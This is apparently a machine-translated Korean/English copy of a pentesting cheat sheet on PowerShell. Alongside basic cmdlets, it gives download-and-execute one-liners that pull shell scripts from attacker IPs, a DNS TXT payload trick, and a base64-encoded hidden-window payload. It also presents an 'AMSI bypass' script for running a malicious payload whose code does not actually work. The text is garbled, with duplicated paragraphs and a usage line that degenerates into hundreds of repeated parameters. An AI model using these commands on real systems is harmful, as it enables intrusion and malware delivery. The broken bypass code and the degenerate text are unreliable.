Basic PowerShell for Pentesters

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 전문가 수준까지 배워보세요!

HackTricks를 지원하는 다른 방법:

기본 PowerShell 위치

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

시작하기 위한 기본 PS 명령어

Here are some basic PowerShell commands to help you get started:

다음은 시작하기 위한 몇 가지 기본 PowerShell 명령어입니다:

Get-Command

Use the Get-Command command to retrieve a list of available commands in PowerShell.

PowerShell에서 사용 가능한 명령어 목록을 가져오려면 Get-Command 명령어를 사용하세요.

Get-Command

Get-Help

The Get-Help command allows you to access the built-in help documentation for any PowerShell command.

Get-Help 명령어를 사용하면 PowerShell 명령어에 대한 내장 도움말 문서에 액세스할 수 있습니다.

Get-Help <command>

Replace <command> with the name of the command you want to learn more about.

<command>를 알아보고자 하는 명령어의 이름으로 대체하세요.

Get-Process

The Get-Process command displays a list of currently running processes on the system.

Get-Process 명령어는 시스템에서 현재 실행 중인 프로세스 목록을 표시합니다.

Get-Process

Get-Service

Use the Get-Service command to retrieve a list of services running on the system.

Get-Service 명령어를 사용하여 시스템에서 실행 중인 서비스 목록을 가져옵니다.

Get-Service

Get-EventLog

The Get-EventLog command allows you to access the event logs on the system.

Get-EventLog 명령어를 사용하면 시스템의 이벤트 로그에 액세스할 수 있습니다.

Get-EventLog -LogName <logname>

Replace <logname> with the name of the event log you want to retrieve.

<logname>을 검색하려는 이벤트 로그의 이름으로 대체하세요.

These are just a few basic PowerShell commands to get you started. As you become more familiar with PowerShell, you can explore more advanced commands and techniques.

이것은 시작하기 위한 몇 가지 기본 PowerShell 명령어에 불과합니다. PowerShell에 익숙해지면 더 고급 명령어와 기술을 탐색할 수 있습니다.

Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

다운로드 및 실행

In this section, we will discuss techniques for downloading and executing files using PowerShell. These techniques can be useful for various purposes, such as downloading additional tools or payloads during a penetration test.

Downloading Files

To download a file using PowerShell, you can use the Invoke-WebRequest cmdlet. Here is an example:

Invoke-WebRequest -Uri "http://example.com/file.exe" -OutFile "C:\path\to\save\file.exe"

In the above example, replace "http://example.com/file.exe" with the URL of the file you want to download, and "C:\path\to\save\file.exe" with the desired path and filename for saving the downloaded file.

Executing Files

Once you have downloaded a file, you may want to execute it. To execute a file using PowerShell, you can use the Start-Process cmdlet. Here is an example:

Start-Process -FilePath "C:\path\to\file.exe"

In the above example, replace "C:\path\to\file.exe" with the actual path and filename of the file you want to execute.

Downloading and Executing in One Line

To download and execute a file in one line, you can use the following command:

Invoke-WebRequest -Uri "http://example.com/file.exe" -OutFile "C:\path\to\save\file.exe"; Start-Process -FilePath "C:\path\to\save\file.exe"

In the above command, replace "http://example.com/file.exe" with the URL of the file you want to download, and "C:\path\to\save\file.exe" with the desired path and filename for saving the downloaded file.

Remember to exercise caution when downloading and executing files from untrusted sources, as they may contain malicious content.

g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(

#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]

AMSI 우회를 사용하여 백그라운드에서 다운로드 및 실행하기

$URL = "http://example.com/malicious_payload.exe"
$Output = "C:\Temp\malicious_payload.exe"

# AMSI 우회를 위한 함수 정의
function Bypass-AMSI {
    $TypeDefinition = @'
using System;
using System.Runtime.InteropServices;

public class Amsi
{
    [DllImport("Amsi.dll")]
    public static extern void AmsiScanBuffer(IntPtr amsiContext, IntPtr buffer, uint length, string contentName, IntPtr session, out int result);
}
'@

    $AmsiAssembly = Add-Type -TypeDefinition $TypeDefinition -PassThru
    $AmsiContext = [System.IntPtr]::Zero

    $AmsiAssembly::AmsiScanBuffer($AmsiContext, [System.IntPtr]::Zero, 0, "Bypass-AMSI", [System.IntPtr]::Zero, [ref]0)
}

# AMSI 우회 함수 호출
Bypass-AMSI

# 파일 다운로드 및 실행
Invoke-WebRequest -Uri $URL -OutFile $Output
Start-Process -FilePath $Output

이 스크립트는 AMSI(Anti-Malware Scan Interface)를 우회하여 백그라운드에서 악성 페이로드를 다운로드하고 실행하는 방법을 보여줍니다.

$URL = "http://example.com/malicious_payload.exe"
$Output = "C:\Temp\malicious_payload.exe"

# AMSI bypass 함수 정의
function Bypass-AMSI {
    $TypeDefinition = @'
using System;
using System.Runtime.InteropServices;

public class Amsi
{
    [DllImport("Amsi.dll")]
    public static extern void AmsiScanBuffer(IntPtr amsiContext, IntPtr buffer, uint length, string contentName, IntPtr session, out int result);
}
'@

    $AmsiAssembly = Add-Type -TypeDefinition $TypeDefinition -PassThru
    $AmsiContext = [System.IntPtr]::Zero

    $AmsiAssembly::AmsiScanBuffer($AmsiContext, [System.IntPtr]::Zero, 0, "Bypass-AMSI", [System.IntPtr]::Zero, [ref]0)
}

# AMSI 우회 함수 호출
Bypass-AMSI

# 파일 다운로드 및 실행
Invoke-WebRequest -Uri $URL -OutFile $Output
Start-Process -FilePath $Output

This script demonstrates how to download and execute a malicious payload in the background by bypassing AMSI (Anti-Malware Scan Interface).

Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="

리눅스에서 b64 사용하기

리눅스에서는 base64 명령어를 사용하여 파일을 Base64 형식으로 인코딩하거나 디코딩할 수 있습니다. 이를 통해 파일을 텍스트 형식으로 변환하고 다른 시스템으로 전송하거나 저장할 수 있습니다.

파일을 Base64로 인코딩하기

다음 명령어를 사용하여 파일을 Base64로 인코딩할 수 있습니다:

base64 <file> > <output_file>

<file>은 인코딩할 파일의 경로를 나타내며, <output_file>은 인코딩된 결과를 저장할 파일의 경로를 나타냅니다.

Base64로 인코딩된 파일 디코딩하기

다음 명령어를 사용하여 Base64로 인코딩된 파일을 디코딩할 수 있습니다:

base64 -d <file> > <output_file>

<file>은 디코딩할 파일의 경로를 나타내며, <output_file>은 디코딩된 결과를 저장할 파일의 경로를 나타냅니다.

이렇게 디코딩된 파일은 원래의 이진 형식으로 복원됩니다.

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>

다운로드

System.Net.WebClient

(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")

Invoke-WebRequest

Invoke-WebRequest은 PowerShell에서 웹 요청을 보내는 데 사용되는 cmdlet입니다. 이 cmdlet을 사용하면 웹 페이지의 내용을 가져오거나 파일을 다운로드할 수 있습니다.

사용법

Invoke-WebRequest [-Uri] <string> [-Method <WebRequestMethod>] [-Headers <IDictionary>] [-Body <Object>] [-ContentType <string>] [-UserAgent <string>] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-TimeoutSec <int>] [-MaximumRedirection <int>] [-SessionVariable <string>] [-WebSession <WebRequestSession>] [-UseBasicParsing] [-SkipCertificateCheck] [-DisableKeepAlive] [-TransferEncoding <string>] [-InFile <string>] [-OutFile <string>] [-PassThru] [-UseDefaultCredentials] [-ProxyUseDefaultCredentials] [-ProxyBypassOnLocal] [-ProxyBypassList <string[]>] [-ProxyCredential <PSCredential>] [-ProxyAuthentication <AuthenticationLevel>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication <AuthenticationMechanism>] [-ProxyAuthentication 